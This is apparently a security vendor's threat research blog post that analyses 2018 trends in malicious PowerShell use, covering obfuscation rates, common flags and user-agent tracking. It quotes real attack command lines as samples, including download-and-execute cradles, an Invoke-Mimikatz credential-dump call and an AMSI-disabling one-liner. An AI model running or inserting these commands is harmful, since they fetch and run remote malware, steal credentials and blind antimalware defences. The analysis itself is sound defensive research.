PowerShell Threats Grow Further and Operate in Plain Sight
Malicious PowerShell attacks increased by 661 percent from the last half of 2017 to the first half of 2018, and doubled from the first quarter to the second of 2018.
The preinstalled and versatile Windows PowerShell has become one of the most popular choices in cyber criminals’ arsenals. We have observed an increase of 661 percent in computers where malicious PowerShell activity was blocked from the second half of 2017 to the first half of 2018—a clear indication that attackers are still growing the use of PowerShell in their attacks.
Of course, it is not just a method seen with targeted attack groups, but also among common cyber criminals deploying financial Trojans or cryptocurrency miners. Especially for fileless attacks, where no file is written to disk, such PowerShell scripts have become very popular, as recently seen with the GhostMiner and Bluwimps worms that distribute coinminers directly in memory.
The whole “living off the land” tactic, of which PowerShell is a part, is very popular these days. Dual-use tools such as WMI or PsExec, which are commonly seen during attacks, are another frequently observed aspect of this tactic. Attackers are constantly experimenting with scripts, learning, and sharing their experience among themselves. In addition, PowerShell frameworks such as PowerSploit or Empire have made it easy not only for penetration testers but also attackers to integrate malicious scripts into their toolset.
We extensively discussed PowerShell threats in our December 2016 white paper, and most of the analysis is still valid today. However, we wanted to see how much the malicious usage has changed since then. To get a better understanding of today’s landscape, we analyzed more than 115,000 randomly selected malicious PowerShell command lines that we saw in 2018. Many of them came from Microsoft Office documents or self-propagating worms.
Obfuscation rarely used
The first thing that caught our eye was that, even though there are many obfuscation tricks available for PowerShell and even automated tools that can obfuscate scripts for users, these are rarely used in the wild. Only four percent of the PowerShell command lines we analyzed tried to obfuscate themselves by using a mixture of lower- and uppercase letters. And even those that do are often auto-generated by some toolkit with a poor randomizer. The following are two examples that were embedded into Microsoft Office documents:
- pOWErSheLl -nopRoFi -WIn hiDdeN -NOLo -NOnInteRA -eXeCUTIoNp bYpass […]
- poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen […]
Of course, the classical string rearranging with the “-f” function or string concatenation are also used in an attempt to fool simple pattern matching. In our test set, we saw it used by 3.2 percent of the samples:
- […] (. (\" {2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e')[…]
Isolated cases of other string manipulation or special characters like the tick do occur as well, but very rarely:
- [TExt.ENCOdInG]::ascII')).repLACe(([chAR]118+[chAR]74+[chAR]100),[strinG][chAR]36).repLACe('p2j',[strinG][chAR]39).repLACe(([chAR]90+[chAR]111+[chAR]73),'|')[…]
- $env:puBLIC[13]+$ENV:PubLic[5]+'X' […]
Occasionally there are PowerShell scripts generated by frameworks such as Invoke-Obfuscation resulting in cryptic scripts which make use of ConvertTo-SecureString and SecureStringToGlobalAllocUnicode.
- powershell iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('[REMOVED]' |ConVerTTO-secuREStrING -KEy (146..169)) ))))
Many attackers probably are not too concerned about obfuscation because they know that not everybody is monitoring PowerShell activity anyway. Even if the security personnel do, then a non-obfuscated command line might be more likely to slip unnoticed through the cracks. Too much obfuscation can be a red flag. Of course, another option for the attacker is to use a BASE64-encoded blob to hide their commands, resulting in an extra step of decoding required, before the payload can be seen. This is often done by all kinds of scripts, including benign ones.
From all analyzed scripts, 5.7 percent used a BASE64-encoded string to hide their commands. With 80 percent of this subset of scripts, most simply used the built-in “-EncodedCommand” command line argument or a variation thereof to decode and run their commands. But some attackers used other commands to achieve the same results, as there are usually many ways to reach a goal with PowerShell:
- powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('[…]’)
- iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)))[…]
The most common command line parameters we observed are still “-NoP -NonI -W Hidden”. Although the arguments can be written in different ways, most attackers stick to the short version. Regardless of the typing, we see that they appear in about three out of four command lines. The ExecutionPolicy flag is not used that often, as it is not needed when only one command is executed by the script.
![Table. Percentage of use of specific command line arguments](https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_small/public/2018-07/Table1.png.webp?itok=1QdqN2R4)
From all analyzed scripts, 5.7 percent used a BASE64-encoded string to hide their commands. With 80 percent of this subset of scripts, most simply used the built-in “-EncodedCommand” command line argument or a variation thereof to decode and run their commands.
Motivation
Some attackers are quite upfront about their intentions. We regularly see attackers trying to download and invoke Hacktool.Mimikatz or Meterpreter shell directly from open source code repositories without even trying to hide it, although they only make up less than half a percent.
- powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/[REMOVED]/Payloads/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
One of the main goals of most malicious PowerShell scripts is still to download and execute some remote payload. From all samples analyzed, 17 percent downloaded something through HTTP or HTTPS. The scripts are getting more robust and often try multiple URLs, use the local proxy settings, or set a specific user agent in order to succeed.
- PowerShell "function Qbyrfidq5([String] $vvfygmg){(New-Object System.Net.WebClient).DownloadFile($vvfygmg,'CSIDL_PROFILE\appdata\local\temp\ydqw6.exe');Start-Process 'CSIDL_PROFILE\appdata\local\temp\ydqw6.exe';}try{Qbyrfidq5('http://[REMOVED]/pay1.exe')}catch{Qbyrfidq5('http://[REMOVED]/pay1.exe')}
- powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\acof.exe') {Remove-Item $env:APPDATA + '\acof.exe'}; $NKNFL = New-Object System.Net.WebClient; $NKNFL.Headers['User-Agent'] = 'NKNFL'; $NKNFL.DownloadFile('https://[REMOVED]/jah.exe', $env:APPDATA + '\acof.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\acof.exe'); Stop-Process -Id <?,?> -Force
- powershell -NoExit -Command [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$A=new-object net.webclient;$A.proxy=[Net.WebRequest]::GetSystemWebProxy();$A.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $A.downloadstring('https://[REMOVED]/9m6SyjaZY3pX'); powershell.exe -nop -exec bypass-
However, the user agent is not always used to blend in by spoofing an installed browser or Office application. Some downloader threats use it to track different campaigns or prevent anyone from accidentally downloading the payload without the right password.
For example, one very active PowerShell downloader often uses “USR-KL” or “USRUE-VNC” as user agent when downloading the next stage. But looking at other instances indicates that they do some granular tracking as well: “LL-Chrome”, “Linux-MK”, “CA_SKULL”, “US-SKULL”. They likely know that these strings are visible, and therefore sometimes have fun as well, e.g. “Rembo 20”, “TrumpOK 1.0.0”, “Breakthrough 1.0.0”.
Hiding in plain sight
The number of computers where PowerShell commands were executed doubled from 734,262 in Q1 2018 to 1,451,449 in Q2 2018. In May 2018, we saw PowerShell scripts being executed on an average of 480,000 computers per day. Of course, not every invocation of PowerShell is malicious. As a matter of fact, the majority of cases are benign scripts and only 0.8 percent were malicious, but don’t let that fool you—the threat from malicious PowerShell is definitely increasing.
The high number of PowerShell activity makes it obvious that you cannot just ban all PowerShell activity on a computer. At Symantec, we use the vast number of data to feed our various protection engines such as behavioral detection or advanced machine learning. With this telemetry data, we can then find previously unknown malicious scripts and stop them, without affecting the regular administration work on the system.
The number of computers where PowerShell commands were executed doubled from 734,262 in Q1 2018 to 1,451,449 in Q2 2018. In May 2018, we saw PowerShell scripts being executed on an average of 480,000 computers per day.
We see that PowerShell is still heavily used as part of the living off the land tactic for lateral movement, downloaders, and fileless threats. This trend is most likely to increase further in combination with dual-use tools. Most attackers don’t even try to hide their intention very much. Unfortunately, they often do not have to and are still successful since many system administrators do not monitor such activity. The attacker can hide in plain sight with all the benign PowerShell activity that occurs. One has to look carefully to spot the malicious activity with the naked eye. Now that Windows PowerShell officially has a built-in SSH client, we expect even more legitimate use of PowerShell on various systems and some malicious scripts misusing SSH too.
We encourage you to share your thoughts on your favorite social platform.